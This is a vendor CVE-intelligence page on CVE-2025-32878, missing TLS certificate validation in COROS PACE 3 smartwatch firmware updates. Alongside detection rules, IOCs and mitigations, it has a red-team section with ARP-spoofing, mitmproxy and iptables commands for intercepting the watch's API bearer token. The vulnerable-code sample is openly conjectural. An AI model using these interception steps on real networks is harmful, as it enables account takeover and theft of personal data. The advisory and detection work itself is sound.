☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N 🐛 CWE-295
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-32878

CVE-2025-32878 Supply Chain Attack in Coros
📅 PUBLISHED: 2025-06-20 00:00 UTC 🔄 UPDATED: 2026-08-21 19:37 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1557.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 3.0808.0
CVSS VECTOR BREAKDOWN 0.0
AV: A Attack Vector Adjacent
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32878 is a critical security vulnerability affecting the COROS PACE 3 smartwatch (firmware versions through 3.0808.0). The vulnerability lies in the device's WLAN firmware update mechanism, where the X.509 server certificate during TLS handshake is not validated. This allows an attacker in an active machine-in-the-middle (MITM) position to intercept and manipulate HTTPS communication using a TLS proxy and a self-signed certificate. The primary risk is the theft of the user's API access token, which could lead to unauthorized access to the user's COROS account and personal data.

Key Risk: An attacker on the same network can intercept firmware update requests, steal the user's API access token, and potentially gain persistent access to the user's account.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a consumer IoT device (COROS PACE 3 smartwatch). The supply chain risk is limited to the device's firmware update process and the trust model of the COROS backend API.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Adjusted Score: 7.1 (High)

Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric Value Description
Attack Vector (AV) Adjacent Network (A) Attacker must be on the same network as the watch (e.g., same Wi-Fi).
Attack Complexity (AC) Low (L) No special conditions; standard MITM tools suffice.
Privileges Required (PR) None (N) No authentication needed.
User Interaction (UI) None (N) The watch automatically initiates the connection.
Scope (S) Unchanged (U) The vulnerable component is the watch itself.
Confidentiality (C) High (H) API token and firmware data can be stolen.
Integrity (I) High (H) Attacker can manipulate firmware download or API responses.
Availability (A) None (N) No direct impact on availability.

Threat Level: High. The attack is feasible for any attacker on the same Wi-Fi network, and the impact includes full account compromise.

Deep Dive & Mechanics

The COROS PACE 3 watch implements a function to connect to a WLAN for firmware updates. The process is as follows:

  1. The watch connects to a Wi-Fi network.
  2. It initiates an HTTPS connection to the COROS backend API to request firmware information.
  3. During the TLS handshake, the watch does not validate the server's X.509 certificate.
  4. The watch then downloads the firmware file over the same unvalidated HTTPS connection.

Attack Flow:

  1. Positioning: The attacker gains a MITM position on the same network (e.g., ARP spoofing, rogue access point).
  2. Interception: The attacker uses a TLS proxy (e.g., mitmproxy, Burp Suite) with a self-signed certificate.
  3. Exploitation: When the watch requests firmware info, the attacker intercepts the HTTPS connection. Since the watch does not validate the certificate, it accepts the attacker's self-signed cert.
  4. Data Theft: The attacker can now read all HTTPS traffic, including the API access token sent by the watch.
  5. Manipulation: The attacker can modify the firmware download response to serve malicious firmware or steal further credentials.

Root Cause: The watch's TLS stack is configured to skip certificate validation (or uses a trust-on-first-use model that is not enforced). This is a classic CWE-295 vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The watch's firmware update client likely uses a TLS library (e.g., mbedTLS, WolfSSL) with certificate verification disabled.

// Vulnerable: No certificate verification
mbedtls_ssl_config conf;
mbedtls_ssl_config_defaults(&conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT);
// Missing: mbedtls_ssl_conf_authmode(&conf, MBEDTLS_SSL_VERIFY_REQUIRED);
// Missing: mbedtls_ssl_conf_ca_chain(&conf, &cacert, NULL);

Patched Code (Expected): The patched version would enforce certificate validation.

// Patched: Certificate verification enabled
mbedtls_ssl_config conf;
mbedtls_ssl_config_defaults(&conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT);
mbedtls_ssl_conf_authmode(&conf, MBEDTLS_SSL_VERIFY_REQUIRED);
mbedtls_ssl_conf_ca_chain(&conf, &cacert, NULL);

Note: Since no official patch is available, the above is a best-guess remediation.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A COROS PACE 3 watch on firmware <= 3.0808.0.
  • A Linux machine with mitmproxy or Burp Suite.
  • Network access to the same Wi-Fi as the watch.

Step-by-Step Exploitation:

  1. Set up ARP spoofing:

    # Enable IP forwarding
    echo 1 > /proc/sys/net/ipv4/ip_forward
    # ARP spoof the watch and the gateway
    arpspoof -i wlan0 -t <WATCH_IP> <GATEWAY_IP>
    arpspoof -i wlan0 -t <GATEWAY_IP> <WATCH_IP>
    
  2. Run mitmproxy with a self-signed certificate:

    mitmproxy --mode transparent --listen-port 8080
    
  3. Redirect traffic to mitmproxy (using iptables):

    iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080
    
  4. Trigger firmware update on the watch (via the COROS app or watch menu).

  5. Capture the API token: In mitmproxy, look for requests to api.coros.com (or similar). The token will be in the Authorization header or a POST body.

Example intercepted request:

GET /firmware/check HTTP/1.1
Host: api.coros.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

Blue Team (Defense & Detection)

Detection:

  • Monitor for ARP spoofing attacks on the network (e.g., using arpwatch or IDS).
  • Look for unexpected TLS certificates presented to the watch (though the watch itself won't log this).
  • Monitor COROS backend logs for multiple failed authentication attempts or token reuse from unusual IPs.

Mitigation:

  • Immediate: Disable automatic firmware updates on the watch until a patch is released.
  • Network: Use a separate, isolated Wi-Fi network for IoT devices.
  • VPN: If possible, route the watch's traffic through a VPN that validates certificates at the gateway.

Indicators of Compromise (IOCs)

Type Indicator Description
Network api.coros.com The backend API endpoint being intercepted.
Network Self-signed certificate on port 443 Any TLS certificate not issued by a trusted CA.
Network ARP cache anomalies Duplicate IP addresses in ARP table.
Log Unusual Authorization: Bearer tokens Tokens reused from different IPs or at odd times.
File *.pem or *.crt files on attacker machine Self-signed certs used for MITM.

Detection Engineering

YARA Rule

rule CVE_2025_32878_COROS_MITM {
    meta:
        description = "Detects COROS PACE 3 firmware update traffic without certificate validation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32878"
    strings:
        $s1 = "api.coros.com" ascii wide nocase
        $s2 = "firmware" ascii wide nocase
        $s3 = "Bearer" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: COROS PACE 3 Unvalidated TLS Certificate Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic indicative of CVE-2025-32878 exploitation (MITM against COROS PACE 3)
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination: "api.coros.com"
        port: 443
        certificate_validation: "failed"
    condition: selection
falsepositives:
    - Legitimate network issues
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2025-32878 COROS PACE 3 MITM Attempt"; flow:to_server; content:"api.coros.com"; http_host; content:"Bearer"; http_header; pcre:"/Authorization:\s*Bearer\s+/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable automatic firmware updates on the COROS PACE 3 watch until a patch is released.
  2. Use a separate Wi-Fi network for IoT devices to limit exposure.
  3. Monitor network traffic for ARP spoofing and unusual TLS certificates.

Long-Term Fix:

  • COROS must release a firmware update that enables proper X.509 certificate validation (CWE-295 fix).
  • Users should apply the patch as soon as it becomes available.

Workaround:

  • If the watch supports it, configure a VPN client that validates certificates at the gateway level.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

COROS PACE 3
COROS firmware update

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32878/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.